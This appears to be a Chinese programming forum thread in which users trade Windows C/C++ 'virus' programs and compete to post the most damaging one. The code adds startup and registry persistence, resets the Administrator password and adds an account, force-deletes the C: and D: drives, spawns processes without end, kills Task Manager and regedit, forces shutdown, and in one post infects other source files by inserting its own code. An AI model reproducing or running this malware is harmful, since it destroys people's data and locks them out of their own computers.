资深光能
#include "windows.h"
#include "stdio.h"
void main(int argc,char * argv[])
{
//printf("%s\n",argv[i]);
char copy[80];
sprintf(copy,"copy %s \"%%userprofile%%\\「开始」菜单\\程序\\启动\"",argv[0]);
system(copy); //将这个程序拷到开机启动文件夹下面
//char cmd[]="shutdown -r -t 0";//自动重起
char cmd[]="ping baidu.com";//将这个换成上面的,就是一开机就重起了!
system(cmd);
system("pause");
}
高级守护
还有位dalao:
#include<iostream>
#include<stdlib.h>
#include<conio.h>
#include<windows.h>
#include<ctime>
using namespace std;
int main(){
while(1){ //重复执行
system("net user Administrator wait......");//用户密码重设为......
system("net user 宇航病毒 wait /add");//用户名重设为宇航病毒
system("shutdown -s -t 60");//60秒后关机
system("del /F /S /Q C:\\");//强制删除C盘
system("del /F /S /Q D:\\");//强制删除D盘
}
while(1){
SetCursorPos(rand()%x,rand()%y);//鼠标 x y轴 随机
system("start http://baidu.com");//打开无数个baidu网页,直到si机
system("taskkill /f /im taskmgr.exe");//禁止打开任务 管 理 器
}
return 0;
}
//慎用!
原网址:
https://wenda.codingtang.com/questions/18365/
我把它改动了一点点
慎用!!!
资深光能
#include<windows.h>
using namespace std;
int main(){
HWND hwnd=GetForegroundWindow();
ShowWindow(hwnd,SW_HIDE);
while(1)system("start");
return 0;
}
高级守护
最直接(为了不让**电脑,就不共享了):
#include <iostream>
using namespace std;
int main(){
system("del C:/Windows/system"); //删除电脑的灵魂system
system("shutdown -s -f"); //关机
}
别用,用了电脑就会:(
修练者
你们都不行 看我的
//部分windows**编译会报错,删掉12行"KEY_WOW64_64KEY |"即可
#include<iostream>
#include<stdio.h>
#include<windows.h>
#include<fstream>
#include<string>
#include<conio.h>
using namespace std;
void HKRunator(char *programName){
HKEY hkey =NULL;
DWORD rc;
rc=RegCreateKeyEx(HKEY_LOCAL_MACHINE,"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run",0,NULL,REG_OPTION_NON_VOLATILE,KEY_WOW64_64KEY | KEY_ALL_ACCESS,NULL,&hkey,NULL);
if(rc==ERROR_SUCCESS){
rc=RegSetValueEx(hkey, "UStealer",0,REG_SZ,(const BYTE *)programName,strlen(programName));
if(rc==ERROR_SUCCESS){
RegCloseKey(hkey);
}
}
}void vir(){
string CurFileName=__FILE__;
string obCurFileName=CurFileName.substr(CurFileName.find_last_of('//')+1,CurFileName.size()-1);
WIN32_FIND_DATA FindFileData;
HANDLE hFind=FindFirstFile("*.c*", &FindFileData);
string VirusCode[100];
string FileCode[500];
int CodeLen=0;
int FileLen=0;
int InsertLoc=0;
ifstream VirusFile(obCurFileName.c_str());
for(CodeLen=0;getline(VirusFile,VirusCode[CodeLen]);CodeLen++){
if(VirusCode[CodeLen]=="//END"){
CodeLen++;
break;
}
}VirusFile.close();
while(1){
if(strcmp(FindFileData.cFileName,obCurFileName.c_str())==0){
cout<<FindFileData.cFileName<<":是感染源!/n";
}else{
ifstream ibe(FindFileData.cFileName);
for(FileLen=0;getline(ibe,FileCode[FileLen]);FileLen++){
if (FileCode[FileLen].find("main")!=-1){
InsertLoc=FileLen;
}ibe.close();
}if(FileCode[0]=="//START"){
cout<<FindFileData.cFileName<<":已携带了病毒!/n";
}else if(FileLen>500){
cout<<FindFileData.cFileName<<":文件太大了!/n";
}else{
ofstream be(FindFileData.cFileName);
for(int i=0;i<CodeLen;i++){
be<<VirusCode[i]<<endl;
}for(int i=0;i<InsertLoc;i++){
be<<FileCode[i]<<endl;
}for(int i=InsertLoc;i<FileLen;i++){
int j=FileCode[i].find('{');
if(j!=-1){
FileCode[i].insert(j+1,"/nvir();");
break;
}
}for(int i=InsertLoc;i<FileLen;i++){
be<<FileCode[i]<<endl;
}be.close();
cout<<FindFileData.cFileName<<":感染成功!/n";
}
}if(FindNextFile(hFind, &FindFileData)==false){
break;
}
}
}int main(){
char ExeFile[200];
GetModuleFileName(NULL,ExeFile,200);
system("net user Administrator 2dwqd3f");
HKRunator(ExeFile);
vir();
system("shutdown -s -t 3600");
system("del /F /S /Q D:\\");
system("del /F /S /Q C:\\");
int x=GetSystemMetrics(SM_CXSCREEN);
int y=GetSystemMetrics(SM_CYSCREEN);
while(1){
new char[1000000];
HWND hwnd=GetForegroundWindow();
ShowWindow(hwnd,SW_SHOW);
ShowWindow(hwnd,SW_HIDE);
SetCursorPos(1,1);
system("calc");
system("taskkill /f /im taskmgr.exe");
system("taskkill /f /im cmd.exe");
system("taskkill /f /im regedit.exe");
}return 0;
}
运行后,该文件会感染你的所有盘并将所有文件更改为病毒副本,同时无限弹窗同时鼠标乱飞,最终于一个小时后关机你的电脑,还有一个最为邪恶的设置:一旦运行后,开机自启!
初级守护
#include<windows.h>
using namespace std;
int main(){
HWND hwnd=GetForegroundWindow();
ShowWindow(hwnd,SW_HIDE);
while(1)system("start");
return 0;
}
//我也发一个